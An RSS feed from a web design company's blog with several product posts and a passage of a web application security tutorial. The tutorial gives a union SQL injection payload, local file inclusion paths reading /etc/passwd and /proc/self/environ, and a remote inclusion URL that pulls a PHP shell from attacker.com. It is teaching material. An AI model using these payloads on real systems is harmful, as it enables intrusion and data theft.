<p>These are all extremely valuable benefits, and it's widely accepted that the importance of server monitoring is coming second only to the criticality of backups. Yet, there are more servers out there without proper monitoring that you would expect. The main reasons not so setup monitoring are all part of our human nature, and can be summed up to "<em>what a hurdle to install and configure...</em>", "<em>the server is doing it's job anyway...</em>" and my favorite <em>"I'll do it...eventually</em>".</p>
<p>I have some news for the Linux server administrators - you have an excuse no more. We've come up with a <a title="S2Mon" href="https://www.s2mon.com" target="_blank">web monitoring system</a> for your servers that is easy to setup, rich in functionality and completely free (at least for the time being). Go on and see a <a title="Demo" href="https://www.s2mon.com/demo/" target="_blank">demo</a>&nbsp;of it, if you don't believe me. If you decide to <a title="S2Mon Registration" href="https://www.s2mon.com/registration/" target="_blank">subscribe</a>, it will take less than 1 minute. Adding a machine to be monitored basically boils down to downloading a Bash script and setting it up as a cron job (you'll get step-by-step instructions after you log in and add a new server record on the web). And if you want to integrate <a href="https://www.s2mon.com" target="_blank">S2Mon</a> into a custom workflow/interface of yours, there is API access to everything (in fact, the entire <a title="S2Mon" href="https://www.s2mon.com/" target="_blank">S2Mon website</a> is one big API client).</p>
<p>Once you hook up your server to the system, you will unlock a plethora of detailed stats, presented in interactive charts like this one:</p>
<p><img title="Weekly Apache Stats" src="http://mtr-design.com/var/images/s2mon_images/ApacheChilds.png" alt="Apache children" width="600" height="472" /></p>
<p>What we see above is a pretty picture of the load falling on the Apache web server. Apparently we've had the same pattern repeating during the last week. That's a visual proof that the web server workload varies a lot throughout the day (nothing unexpected, but we can now actually measure it!).</p>
<p>OK, I now want to see how are my disk partitions faring, and when should I plan for adding disk space:</p>
<p><img title="Disk Usage Stats" src="http://mtr-design.com/var/images/s2mon_images/DiskUsage.png" alt="Disk Usage Stats" width="600" height="787" /></p>
<p>&nbsp;Both partitions are steadily growing, but if the rate is kept, there should be enough space for the next 5-6 months.</p>
<p>Hey, you know what, I just got some complaints from a user that a server was slow yesterday, was there anything odd?</p>
<p><img title="Load Average" src="http://mtr-design.com/var/images/s2mon_images/LoadAverageCurs.png" alt="Load Average" width="600" height="481" /></p>
<p>Yep, most definitely. The load was pretty high throughout the entire afternoon. Believe it or not this time it was not his virus-infested Windows computer...</p>
<p>Your boss wants some insight on a specific network service, say IMAP? There you go:</p>
<p><img title="IMAP - Connections per service" src="http://mtr-design.com/var/images/s2mon_images/IMAPConnPerService.png" alt="IMAP - Connections per service" width="600" height="408" /></p>
<p>Wonder what your precious CPU spends its time on? See here:</p>
<p><img title="CPU Stats" src="http://mtr-design.com/var/images/s2mon_images/CPUStats.png" alt="CPU Stats" width="600" /></p>
<p>As you see, S2Mon can provide you with extremely detailed stats ready to be used anytime you need them. Of course, there is a lot more to it, and I'll cover more aspects of the setup, configuration and the work with S2Mon it in the next parts. As always, feedback is more than welcome!</p>]]></description>
				<content:encoded><![CDATA[<p>We've all heard that servers sometimes break for one reason or another. We often forget, however, how inevitable it is. While everything is working, the system looks like a rock solid blend of software and hardware. You get the feeling that if you don't touch it, it would keep spinning for years.</p>
<p>That's a very misleading feeling. The proper operation of a server depends on many dynamic parts, like having Internet connectivity, stable power supply, proper cooling, enough network bandwidth, free disk space, running services, available CPU power, IO bandwidth, memory, ... That's just the tip of the iceberg, but I think the point is clear - there is <em>a lot</em> that can go wrong with a server.&nbsp;</p>
<p>Eventually some of those subsystems will break down for one reason or another. When one of them fails, it usually brings down others, creating a digital mayhem that can be quite hard to untangle. Businesses relying on the servers being up and running tend not to look too favorably on the inevitability of the situation. Instead of accepting the incident philosophically and being grateful for the great uptime so far, business owners instead go for questions like "What happened?!?!!", "What's causing this???" and "WHEN WILL IT BE BACK UP????!!!". Sad, I know.&nbsp;</p>
<p>Smart people, who would rather avoid coming unprepared for those questions, have come up with the idea of monitoring, so that:</p>
<ul>
<li>problems are caught up in their infant stages, before they cause real damage (e.g. slowly increasing disk space usage);</li>
<li>when some malfunction does occur, they can cast a quick glance over the various monitoring gauges, and quickly determine what's the root cause of it;</li>
<li>they can follow trends in the server metrics, so they can both get insight into issues from the past and predict future behavior.</li>
</ul>
<p>These are all extremely valuable benefits, and it's widely accepted that the importance of server monitoring is coming second only to the criticality of backups. Yet, there are more servers out there without proper monitoring that you would expect. The main reasons not so setup monitoring are all part of our human nature, and can be summed up to "<em>what a hurdle to install and configure...</em>", "<em>the server is doing it's job anyway...</em>" and my favorite <em>"I'll do it...eventually</em>".</p>
<p>I have some news for the Linux server administrators - you have an excuse no more. We've come up with a <a title="S2Mon" href="https://www.s2mon.com" target="_blank">web monitoring system</a> for your servers that is easy to setup, rich in functionality and completely free (at least for the time being). Go on and see a <a title="Demo" href="https://www.s2mon.com/demo/" target="_blank">demo</a>&nbsp;of it, if you don't believe me. If you decide to <a title="S2Mon Registration" href="https://www.s2mon.com/registration/" target="_blank">subscribe</a>, it will take less than 1 minute. Adding a machine to be monitored basically boils down to downloading a Bash script and setting it up as a cron job (you'll get step-by-step instructions after you log in and add a new server record on the web). And if you want to integrate <a href="https://www.s2mon.com" target="_blank">S2Mon</a> into a custom workflow/interface of yours, there is API access to everything (in fact, the entire <a title="S2Mon" href="https://www.s2mon.com/" target="_blank">S2Mon website</a> is one big API client).</p>
<p>Once you hook up your server to the system, you will unlock a plethora of detailed stats, presented in interactive charts like this one:</p>
<p><img title="Weekly Apache Stats" src="http://mtr-design.com/var/images/s2mon_images/ApacheChilds.png" alt="Apache children" width="600" height="472" /></p>
<p>What we see above is a pretty picture of the load falling on the Apache web server. Apparently we've had the same pattern repeating during the last week. That's a visual proof that the web server workload varies a lot throughout the day (nothing unexpected, but we can now actually measure it!).</p>
<p>OK, I now want to see how are my disk partitions faring, and when should I plan for adding disk space:</p>
<p><img title="Disk Usage Stats" src="http://mtr-design.com/var/images/s2mon_images/DiskUsage.png" alt="Disk Usage Stats" width="600" height="787" /></p>
<p>&nbsp;Both partitions are steadily growing, but if the rate is kept, there should be enough space for the next 5-6 months.</p>
<p>Hey, you know what, I just got some complaints from a user that a server was slow yesterday, was there anything odd?</p>
<p><img title="Load Average" src="http://mtr-design.com/var/images/s2mon_images/LoadAverageCurs.png" alt="Load Average" width="600" height="481" /></p>
<p>Yep, most definitely. The load was pretty high throughout the entire afternoon. Believe it or not this time it was not his virus-infested Windows computer...</p>
<p>Your boss wants some insight on a specific network service, say IMAP? There you go:</p>
<p><img title="IMAP - Connections per service" src="http://mtr-design.com/var/images/s2mon_images/IMAPConnPerService.png" alt="IMAP - Connections per service" width="600" height="408" /></p>
<p>Wonder what your precious CPU spends its time on? See here:</p>
<p><img title="CPU Stats" src="http://mtr-design.com/var/images/s2mon_images/CPUStats.png" alt="CPU Stats" width="600" /></p>
<p>As you see, S2Mon can provide you with extremely detailed stats ready to be used anytime you need them. Of course, there is a lot more to it, and I'll cover more aspects of the setup, configuration and the work with S2Mon it in the next parts. As always, feedback is more than welcome!</p>]]></content:encoded>
			</item>
					<item>
				<title>Stayin' secure with Web Security Watch</title>
				<link>http://mtr-design.com/blog/stayin-secure-with-web-security-watch/</link>
				<pubDate>Thu, 22 Nov 2012 14:56:10 +0000</pubDate>
				<dc:creator>Emil Filipov</dc:creator>
									<category><![CDATA[Development]]></category>
									<category><![CDATA[Projects]]></category>
									<category><![CDATA[Security]]></category>
									<category><![CDATA[Server Administration]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/stayin-secure-with-web-security-watch/</guid>
								<description><![CDATA[<p>Is your server/website secure? How do you <strong>really</strong> know? Let me get back to this in a while.&nbsp;</p>
<p>As you may be aware there is a ton of security advisories released by multiple sources every day. That's a true wealth of valuable information flowing out on the Internet. Being aware of the issues described in these advisories could make all the difference between being safe and getting hacked; between spending a few minutes to patch up, and spending weeks recovering lost data, reputation and customer trust. So who would *not* take advantage of the public security advisories, right?</p>
<p>Not really. See, there is the problem of information overflow. There is really a lot of sources of security information, each of them spewing dozens of articles every given day. To make it worse, very few of those articles are really relevant to you. So, if you do want to track them, you end up manually reviewing 99% of junk to get to the 1% that is really relevant to your setup. A lot of system/security administrators are spending several dull hours every week to go through reports that rarely concern them.&nbsp;Some even hire a full-time dedicated operators to process the information.&nbsp;Others simply don't care about the advisories, because the review process is too time-consuming.&nbsp;</p>
<p>Well, we decided we can help with the major pains of the advisory monitoring process. So we built <a title="Web Security Watch" href="http://www.websecuritywatch.com/" target="_blank">Web Security Watch</a> (WSW) for this purpose. This website aggregates security advisories coming from multiple reputable sources (so you don't miss anything), groups them together (so you don't get multiple copies), and tags them based on the affected products/applications. The last action is particularly important, as tags allow you to filter just the items that you are interested in, e.g. "WordPress", "MySQL","Apache". What's more, we wrote an <a title="Selected Tags RSS" href="http://wordpress.org/extend/plugins/selected-tags-rss/" target="_blank">RSS module for WordPress</a>, so you can subscribe to an RSS feed which only contains the tags you care about. A custom security feed just for you - how cool is that? Oh, and in case you didn't notice - the site is great for security research. And it's free.</p>
<p>Even though WSW is quite young, it already contains more than 4500 advisories, and the number grows every day. We will continue to improve the site functionality and the tagging process, which is still a bit rough around the edges. If you have any feature requests or suggestions, we would be really happy to hear them - feel free to use the <a title="Web Security Watch - contact form" href="http://www.websecuritywatch.com/contact/" target="_blank">contact form</a> to get in touch with us with anything on your mind.</p>
<p>Now, to return to my original question. You can't really tell if your site/server is secure until you see it from the eyes of a hacker. And that requires some capable penetration testers. Even after you had the perfect penetration test performed by the greatest hackers in the world, however, you may end up being hacked and defaced by a script kiddie on the next week, due to vulnerability that just got disclosed publicly.</p>
<p>Which gets me to the basic truth about staying secure - security is not a state, it's a process. A large part of that process is staying current with the available security information, and <a title="Web Security Watch" href="http://www.websecuritywatch.com/" target="_blank">Web Security Watch</a> can help you with that part.</p>]]></description>
				<content:encoded><![CDATA[<p>Is your server/website secure? How do you <strong>really</strong> know? Let me get back to this in a while.&nbsp;</p>
<p>As you may be aware there is a ton of security advisories released by multiple sources every day. That's a true wealth of valuable information flowing out on the Internet. Being aware of the issues described in these advisories could make all the difference between being safe and getting hacked; between spending a few minutes to patch up, and spending weeks recovering lost data, reputation and customer trust. So who would *not* take advantage of the public security advisories, right?</p>
<p>Not really. See, there is the problem of information overflow. There is really a lot of sources of security information, each of them spewing dozens of articles every given day. To make it worse, very few of those articles are really relevant to you. So, if you do want to track them, you end up manually reviewing 99% of junk to get to the 1% that is really relevant to your setup. A lot of system/security administrators are spending several dull hours every week to go through reports that rarely concern them.&nbsp;Some even hire a full-time dedicated operators to process the information.&nbsp;Others simply don't care about the advisories, because the review process is too time-consuming.&nbsp;</p>
<p>Well, we decided we can help with the major pains of the advisory monitoring process. So we built <a title="Web Security Watch" href="http://www.websecuritywatch.com/" target="_blank">Web Security Watch</a> (WSW) for this purpose. This website aggregates security advisories coming from multiple reputable sources (so you don't miss anything), groups them together (so you don't get multiple copies), and tags them based on the affected products/applications. The last action is particularly important, as tags allow you to filter just the items that you are interested in, e.g. "WordPress", "MySQL","Apache". What's more, we wrote an <a title="Selected Tags RSS" href="http://wordpress.org/extend/plugins/selected-tags-rss/" target="_blank">RSS module for WordPress</a>, so you can subscribe to an RSS feed which only contains the tags you care about. A custom security feed just for you - how cool is that? Oh, and in case you didn't notice - the site is great for security research. And it's free.</p>
<p>Even though WSW is quite young, it already contains more than 4500 advisories, and the number grows every day. We will continue to improve the site functionality and the tagging process, which is still a bit rough around the edges. If you have any feature requests or suggestions, we would be really happy to hear them - feel free to use the <a title="Web Security Watch - contact form" href="http://www.websecuritywatch.com/contact/" target="_blank">contact form</a> to get in touch with us with anything on your mind.</p>
<p>Now, to return to my original question. You can't really tell if your site/server is secure until you see it from the eyes of a hacker. And that requires some capable penetration testers. Even after you had the perfect penetration test performed by the greatest hackers in the world, however, you may end up being hacked and defaced by a script kiddie on the next week, due to vulnerability that just got disclosed publicly.</p>
<p>Which gets me to the basic truth about staying secure - security is not a state, it's a process. A large part of that process is staying current with the available security information, and <a title="Web Security Watch" href="http://www.websecuritywatch.com/" target="_blank">Web Security Watch</a> can help you with that part.</p>]]></content:encoded>
			</item>
					<item>
				<title>Probably the longest webpage yet – Hugh's Fish Fight 834,000 Names under the Sea</title>
				<link>http://mtr-design.com/blog/probably-the-longest-webpage-yet/</link>
				<pubDate>Thu, 08 Nov 2012 10:05:39 +0000</pubDate>
				<dc:creator>Nikolay Nedev</dc:creator>
									<category><![CDATA[Company News]]></category>
									<category><![CDATA[Interesting]]></category>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/probably-the-longest-webpage-yet/</guid>
								<description><![CDATA[<p><img style="float: right;" src="http://mtr-design.com/var/blog/fishfight_iphone.png" alt="" width="200" height="536" /></p>
<p>&nbsp;</p>
<p>At MTR Design we are open to challenges so when the guys from KEO Films asked us whether we could create the longest webpage yet, we were more than pleased to accept the commission. Fish Fight - a multi-platform campaign produced by KEO Films and led by TV campaigner Hugh Fearnley-Whittingstall - has ignited earlier this week a campaign promoting the Fish Fight initiative by explicitly drawing the attention to every person who has supported them. The time for the kick off was strategically chosen - prior to an important CFP meeting in Brussels. Making every single voice count could eventually impact the decision making process in the EU.</p>
<p>In order to make this happen they needed a new webpage vesting the idea. Not an ordinary webpage but a special one. They needed a really long webpage which would list all of its 830k+ supporters. A deep dive indeed.</p>
<p>We took the commission and created the webpage. The main challenge before us was squeezing a content so enormous (three times larger than Tolstoy's &ldquo;War and Peace&rdquo;) in a smoothly working and convenient webpage that could perform well on desktop browsers as well as on smartphone&rsquo;s OS. Just imagine scrolling down to the line 123 945 for finding your name on the wall of glory of FishFight. Good news is it won&rsquo;t take you a whole day - we made it quick. Bad news is - you&rsquo;ll need a really long display. Thank you iPhone for making this hypothetically possible!</p>
<p><span style="font-size: 14px;">You should definitely check out Hugh's Fish Fight 834,000 Names under the Sea webpage with the new apple wonder:</span></p>
<p>Well if you don&rsquo;t have it yet, don&rsquo;t panic - just run the site on your preferred device and dive as deep as you can.</p>
<p>See it at <a href="http://www.fishfight.net/deep/" target="_blank">www.fishfight.net/deep</a></p>]]></description>
				<content:encoded><![CDATA[<p><img style="float: right;" src="http://mtr-design.com/var/blog/fishfight_iphone.png" alt="" width="200" height="536" /></p>
<p>&nbsp;</p>
<p>At MTR Design we are open to challenges so when the guys from KEO Films asked us whether we could create the longest webpage yet, we were more than pleased to accept the commission. Fish Fight - a multi-platform campaign produced by KEO Films and led by TV campaigner Hugh Fearnley-Whittingstall - has ignited earlier this week a campaign promoting the Fish Fight initiative by explicitly drawing the attention to every person who has supported them. The time for the kick off was strategically chosen - prior to an important CFP meeting in Brussels. Making every single voice count could eventually impact the decision making process in the EU.</p>
<p>In order to make this happen they needed a new webpage vesting the idea. Not an ordinary webpage but a special one. They needed a really long webpage which would list all of its 830k+ supporters. A deep dive indeed.</p>
<p>We took the commission and created the webpage. The main challenge before us was squeezing a content so enormous (three times larger than Tolstoy's &ldquo;War and Peace&rdquo;) in a smoothly working and convenient webpage that could perform well on desktop browsers as well as on smartphone&rsquo;s OS. Just imagine scrolling down to the line 123 945 for finding your name on the wall of glory of FishFight. Good news is it won&rsquo;t take you a whole day - we made it quick. Bad news is - you&rsquo;ll need a really long display. Thank you iPhone for making this hypothetically possible!</p>
<p><span style="font-size: 14px;">You should definitely check out Hugh's Fish Fight 834,000 Names under the Sea webpage with the new apple wonder:</span></p>
<p>Well if you don&rsquo;t have it yet, don&rsquo;t panic - just run the site on your preferred device and dive as deep as you can.</p>
<p>See it at <a href="http://www.fishfight.net/deep/" target="_blank">www.fishfight.net/deep</a></p>]]></content:encoded>
			</item>
					<item>
				<title>PyLogWatch is born</title>
				<link>http://mtr-design.com/blog/pylogwatch-is-born/</link>
				<pubDate>Thu, 25 Oct 2012 09:12:42 +0000</pubDate>
				<dc:creator>Emil Filipov</dc:creator>
									<category><![CDATA[Development]]></category>
									<category><![CDATA[Projects]]></category>
									<category><![CDATA[Server Administration]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/pylogwatch-is-born/</guid>
								<description><![CDATA[<p>Here, at MTR Design, we are managing multiple web apps, servers and system components. All of them generate some kind of logs. Most of the time the logs are trivial and contain nothing that we should be concerned about. There is the odd case, however, where some log gets an entry that truly deserves our attention. You see, the signal-to-noise ratio in most logs is very low, so going over all of the logs by hand is an extremely boring and time-consuming task. Yet, there may be "gems" inside the logs that you really want to act on ASAP - say, someone successfully breaking into your server, or email list going crazy and spamming your customers.</p>
<p>So, what solutions do we have at our disposal? The most noteworthy are Splunk (hosted service, expensive) and Logstash (Java, pain to install, maintain and customize). I did not like any of them. What I did like was <a href="https://getsentry.com/welcome/" target="_blank">Sentry</a>, which has a logging client (called Raven) available in dozen languages. The only problem is that Sentry is meant for handling exceptions coming from applications - not for general purpose logging.&nbsp;</p>
<p>Yet, Sentry has a lot of the features that we do need:</p>
<ul>
<li>Centralized logging with nice Web UI</li>
<li>Users, permissions, projects</li>
<li>Aggregation, so that similar log messages get grouped together</li>
<li>Quick filters, letting you hide message classes you do not care about</li>
<li>Plugin system that lets you write your own message processing&nbsp;</li>
<li>Flexible and easy to use logging clients</li>
</ul>
<p>Since we already had Sentry for handling in-app logging, enabling it to handle general-purpose server logs felt like a very compelling idea. So we did it...</p>
<h3>Enter PyLogWatch</h3>
<p>... by writing a Python app that parses log files and feeds them to Sentry. The application is very small and simple, and you can run it on any server with a recent version of Python. You don't need to be root, there is no long-running daemon, and no special deployment considerations - just <a href="https://github.com/mtrdesign/pylogwatch" target="_blank">download</a>, configure, run (by cron, or via other means of scheduling). Of course, PyLogWatch relies on you having a Sentry server, but that's not too hard to install either (see <a href="http://sentry.readthedocs.org/en/latest/quickstart/index.html#setting-up-an-environment" target="_blank">the docs</a>), and you can always use the very affordable hosted Sentry service (see <a href="https://www.getsentry.com/pricing/" target="_blank">the pricing</a>), which features a limited free account.</p>
<p>The PyLogWatch project is still in its infant stages - there are just a couple of *very* basic parsers (for Apache error logs and for syslog files), and no extensions for the Sentry server yet. Nevertheless, it has already proven very useful to us, since it enabled our developers to closely track the Apache error log files for the applications they "own", and swiftly react to any problem that shows up. In practice, each error line generates a "ticket" in Sentry, and it sticks up there until a project member explicitly marks it as resolved. As an optional feature, all project members receive an email whenever there is a new entry waiting to be resolved.&nbsp;</p>
<p>What I love about this project is that it is a pretty much blank sheet of paper. I believe that using the combined power of custom parsers and Sentry plugins can yield magnificent results.</p>
<p>So what tool are <strong>you</strong> using for log tracking? What would do you like/dislike about it, and what would you ideally like it to do? Feel free to share your thoughts.</p>]]></description>
				<content:encoded><![CDATA[<p>Here, at MTR Design, we are managing multiple web apps, servers and system components. All of them generate some kind of logs. Most of the time the logs are trivial and contain nothing that we should be concerned about. There is the odd case, however, where some log gets an entry that truly deserves our attention. You see, the signal-to-noise ratio in most logs is very low, so going over all of the logs by hand is an extremely boring and time-consuming task. Yet, there may be "gems" inside the logs that you really want to act on ASAP - say, someone successfully breaking into your server, or email list going crazy and spamming your customers.</p>
<p>So, what solutions do we have at our disposal? The most noteworthy are Splunk (hosted service, expensive) and Logstash (Java, pain to install, maintain and customize). I did not like any of them. What I did like was <a href="https://getsentry.com/welcome/" target="_blank">Sentry</a>, which has a logging client (called Raven) available in dozen languages. The only problem is that Sentry is meant for handling exceptions coming from applications - not for general purpose logging.&nbsp;</p>
<p>Yet, Sentry has a lot of the features that we do need:</p>
<ul>
<li>Centralized logging with nice Web UI</li>
<li>Users, permissions, projects</li>
<li>Aggregation, so that similar log messages get grouped together</li>
<li>Quick filters, letting you hide message classes you do not care about</li>
<li>Plugin system that lets you write your own message processing&nbsp;</li>
<li>Flexible and easy to use logging clients</li>
</ul>
<p>Since we already had Sentry for handling in-app logging, enabling it to handle general-purpose server logs felt like a very compelling idea. So we did it...</p>
<h3>Enter PyLogWatch</h3>
<p>... by writing a Python app that parses log files and feeds them to Sentry. The application is very small and simple, and you can run it on any server with a recent version of Python. You don't need to be root, there is no long-running daemon, and no special deployment considerations - just <a href="https://github.com/mtrdesign/pylogwatch" target="_blank">download</a>, configure, run (by cron, or via other means of scheduling). Of course, PyLogWatch relies on you having a Sentry server, but that's not too hard to install either (see <a href="http://sentry.readthedocs.org/en/latest/quickstart/index.html#setting-up-an-environment" target="_blank">the docs</a>), and you can always use the very affordable hosted Sentry service (see <a href="https://www.getsentry.com/pricing/" target="_blank">the pricing</a>), which features a limited free account.</p>
<p>The PyLogWatch project is still in its infant stages - there are just a couple of *very* basic parsers (for Apache error logs and for syslog files), and no extensions for the Sentry server yet. Nevertheless, it has already proven very useful to us, since it enabled our developers to closely track the Apache error log files for the applications they "own", and swiftly react to any problem that shows up. In practice, each error line generates a "ticket" in Sentry, and it sticks up there until a project member explicitly marks it as resolved. As an optional feature, all project members receive an email whenever there is a new entry waiting to be resolved.&nbsp;</p>
<p>What I love about this project is that it is a pretty much blank sheet of paper. I believe that using the combined power of custom parsers and Sentry plugins can yield magnificent results.</p>
<p>So what tool are <strong>you</strong> using for log tracking? What would do you like/dislike about it, and what would you ideally like it to do? Feel free to share your thoughts.</p>]]></content:encoded>
			</item>
					<item>
				<title>Web Application Security Basics</title>
				<link>http://mtr-design.com/blog/web-application-security-basics/</link>
				<pubDate>Sun, 02 Sep 2012 07:57:52 +0000</pubDate>
				<dc:creator>Dimitar Ivanov</dc:creator>
									<category><![CDATA[Development]]></category>
									<category><![CDATA[Security]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/web-application-security-basics/</guid>
								<description><![CDATA[<h3>Some History</h3>
<p>With the development of the computers and the communication technologies, the question of the security is becoming more and more pressing. Nowadays, every individual has some kind of presence on the Internet. This is true to a much greater extent for the companies - you simply cannot do business if you do not use Internet and/or web-based solutions - ERP applications, collaboration tools, you name it. This is raising many questions, such as "How secure is the information of my company?"; "How secure is the information of my customers?"; "Can someone access this information without authorization?"; "What do I need to do to protect myself from getting hacked?", etc. These questions are more relevant today than they were in the past. Twenty years ago very few people used computers, and even fewer dealt with information security. For those that did, this was a hobby or a profession, and they had a different way of thinking - if they found a vulnerability in a software or a system, they would report it to the owners, so that they can fix or mitigate it. I remember in the 90's there was a guy that hacked the name server of our university network through the finger daemon, and report it it immediately without doing any harm. Now, when literally everyone has Internet access, things are quite different. Anyone can download working exploits for recently published vulnerabilities; there are tools that can automate most of the tasks you would go through to hack a website; and do not forget Google and Shodan, which you can use to find vulnerable targets. This is making "hacking" (if you can call it that) very easy.</p>
<h3>Why the Web Application security matters?</h3>
<p>Under these circumstances, it is not hard to answer this question. Since virtually anyone has access to "hacking resources", the threat to the information security has increased enormously. With the migration to the Web applications, combined with the whole fuzz around the cloud computing, the focus of the security specialists and researchers has shifted. On one hand, it is harder to find a remote exploit for the operating systems. On the other hand, it is much easier to target and compromise a Web application. Often, the only thing you need to do that is a Web browser - take the LFI, RFI, File Upload, SQLi. If the application is vulnerable to LFI, you can include the process environment, which is going to be parsed by the PHP interpreter. If you change the User-Agent to a PHP code, it will be executed, giving you a remote command execution. If there is an RFI, you can include a Web shell from a remote server, and so on. Additionally, the vulnerabilities are announced publicly, sometimes even before there is a patch for them. Yeah, but</p>
<h3>why on earth would someone attack my company?</h3>
<p>Well, the motivation of the hacker can be different - industrial espionage; getting a stepping stone (hopping station) for carrying out attacks on other machines/networks; real or imaginary profit; revenge, hacktivism, etc. Anyone can target any company even for no particular reason, so</p>
<h3>what could be the damage?</h3>
<p>No matter the motivation of the attacker, their actions can cause huge financial losses, loss of reputation and trust, law suits. If a server is hacked and used as a hopping station to target other networks, it may be confiscated by the law enforcement, which can lead to additional losses. If its content is deleted, this can directly affect the productivity. A compromise of a server can lead to attacks on the internal networks of the company. That is why, we need to know what are</p>
<h3>the Most Common Vulnerabilities in the Web Applications</h3>
<p>The <a href="https://www.owasp.org/" target="_blank">Open Web Application Security Project</a> (OWASP) defines <a href="https://www.owasp.org/index.php/Top_10_2010-Main" target="_blank">ten categories</a>, which combine "the most serious risks for a broad array of organizations." Below, we will outline some of the most common vulnerabilities we have met in the course of our work. Probably the most common and the easiest one to exploit is</p>
<h3>SQL Injection - Exploiting the Developer</h3>
<p>Almost every dynamic Web application uses some kind of database backend. The content displayed to the application users is stored in the database and displayed in the browser, depending on the parameters passed by the underlying scripts to the backend. These parameter, however, depend on the user behavior, and can, therefore, be modified by them. This is the basic functionality of the Web application. The problems arise when the parameters are passed to the database without any sanitizing. This allows malicious users to close the legitimate query and pass their own queries to the database and get the results one way or another. In other words, SQL Injection exploit the assumptions, made by the application developers. For example, when the developer produced the following code:</p>
<pre>$sql = '
SELECT *
FROM products
WHERE id = ' . $_GET['id'];
</pre>
<p><br />they wanted the script to query the database for products matching a given ID that is passed as a GET parameter. That is, if the visitors access http://target.com//vulnerable_script.php?id=1, they would see the details for the product with ID 1. The database query will look like this:</p>
<pre>SELECT *
FROM products
WHERE id = 1
</pre>
<p><br />In this particular case, the developers assumed that the 'id' parameter would always be an integer. However, since the value of the 'id' parameter is passed to the database by the user without any filtering, a malicious user can input the following URL in the browser: http://target.com//vulnerable_script.php? id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6-- In this case, the DB query will look like this:</p>
<pre>SELECT *
FROM products
WHERE id = 1
union all
select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6
</pre>
<p><br />Basically, this tells the database to display the information about the product with ID 1 and combine it with a set of data that contains the information about the user, the name of the database and the version of the database server. This information is selected in the third column, separated by colons (0x3A). To make this query, the attacker needs to know the number of the columns in the database. This information can be easily obtained by several requests that instruct the database to display the data, ordered by a particular column. This is a basic example for a regular Union SQL Injection. There are other flavors of SQLi - error-based, time-based blind boolean-based blind. Error-based SQL Injection attacks rely on extracting information from the errors, returned by the database. There is a nice <a title="Error-based SQLi" href="http://www.youtube.com/watch?v=WN27Ql-S99Q" target="_blank">introductory tutorial</a> on error-based SQLi on Youtube. Surprisingly often, developers think that when they hide the errors from the output, they have resolved the vulnerability. Of course, this is not the case - the fact that you cannot see the data, returned by the database (union-based) or the errors (error-based), does not mean that the script is not vulnerable. In these cases, an attacker can use Blind SQL Injection to exfiltrate data, i.e. brute-force the data, based on boolean or time-based conditions. In these cases, you will pass queries that will inspect the responses of the database server and reconstruct the data. Of course, the attackers and pentesters are not stuck with the browser to exploit these vulnerabilities. There are numerous tools that will automate the process. The best one is <a title="sqlmap" href="http://sqlmap.org/" target="_blank">sqlmap</a>. Bernardo and Miroslav have done amazing job developing this tool. There are several things that can be done to prevent SQL Injection. The most widely used method is</p>
<p><strong>filtering the user input</strong></p>
<p>This method is the easiest to implement and if not implemented properly, it can be bypassed. There are numerous techniques to bypass defenses, based on input filtering - case tampering, white space tampering, encoding the queries. A lot better defense against SQLi is to use</p>
<p><strong>parameterized queries</strong></p>
<p>or "prepared statements". These are essentially templates for SQL queries, which contain&nbsp;spaces where the user input will go. When the filled-in template is passed to the database, the entire user input would be in the space allocated for it in the template. The database will execute the query from the template, instead of the query that may be supplied in the user input. Alternatively, developers can use</p>
<p><strong>ORM (Object Relational Mapping)</strong></p>
<p>This is a technique for object conversion, which converts the tables in the database to scalar variables, creating a virtual database. In practice, the ORM systems generate parameterized queries. The second most common vulnerability in Web applications is</p>
<h3>File Inclusion - Exploiting the Functionality</h3>
<p>This is another vulnerability that is fairly easy to find and exploit. Essentially, this is the ability to include files from the machine on which the application runs, or from a remote server, visible to this machine. The possibility to include different scripts is essential for the work of every application - this is how the application logic is abstracted or how different pages are displayed, depending on the user choice. Let's take a fairly simple website that has four pages: Home, News, About Us, Contacts. If the visitor accesses the Home page, the URL they will use would look like that:</p>
<pre>http://target.com/vulnerable_script?page=home
</pre>
<p><br />In other words, the script accepts one parameter (page), which value specifies the page that is requested by the visitor. Let's assume that the script has the following code:</p>
<pre><!--?php
$page = $_GET['page'];
if(isset($page)) {
include("$page");
}
else {
include("vulnerable_script.php");
}
?--><!--?php<br /-->&lt;?php<br />$page = $_GET['page'];<br />if(isset($page)) {<br />include("$page");<br />}<br />else {<br />include("vulnerable_script.php");<br />}<br />?&gt;
</pre>
<p><br />The code is self-explanatory - the value of the GET parameter page is assigned to a variable 'page'. If its value is not NULL, the script includes the script with a name that is the same as the value. The problem with this code is that the page variable is created from the user input without any checks or filtering. Therefore, if we access the following URL:</p>
<pre>http://target.com/vulnerable_script?page=../../../../etc/passwd
</pre>
<p><br />the script will include and display the contents of the UNIX password file. This is a very simplified example of LFI. Often, programmers think that to secure the script above, they only need to add one little modification:</p>
<pre><!--?php
$page = $_GET['page'];
if(isset($page)) {
include("$page" . &ldquo;.html&rdquo;);
}
else {
include("vulnerable_script.php");
}
?--><!--?php<br /-->&lt;?php<br />$page = $_GET['page'];<br />if(isset($page)) {<br />include("$page" . ".html");<br />}<br />else {<br />include("vulnerable_script.php");<br />}<br />?&gt;
</pre>
<p><br />The only difference here is that a .html extension is added to the page that is included. However, by simply appending a null character (%00) to the URL, the attacker would still be able to include arbitrary files. This depends on the server configuration, the PHP version and may not work in all cases. In other cases, the developers use the file_exists() function, but this is functionality check, not a security one, because it does not limit the ability to include existing files. LFI vulnerabilities can easily lead to command execution in some cases. To achieve this, a malicious user can use the /proc file system, which is used in Linux as an interface to the kernel of the Operating System. Let's say that, again, we have a script that is vulnerable to LFI. To gain the ability to execute commands on the server, a malicious user can include /proc/self/environ. This is the environment of the current process - it contains the environmental variables for the running process. Besides the system environmental variables, it also contains the CGI variables (REMOTE_ADDR, HTTP_REFERER, HTTP_USER_AGENT, etc.) So, if the hacker changes the User-Agent header, passed to the server to a PHP script, the script will be parsed by the PHP interpreter and executed on the server. So far, we've looked into the ability to include files locally from the server, on which the vulnerable script is running. To include files from remote locations is not that different. Actually, if the server configuration allows the inclusion of remote scripts, and if the script is vulnerable, the only difference will be in the URL - the attacker would just have to use an address, such as</p>
<pre>http://target.com/vulnerable_script?page=http://attacker.com/php_shell.txt%00
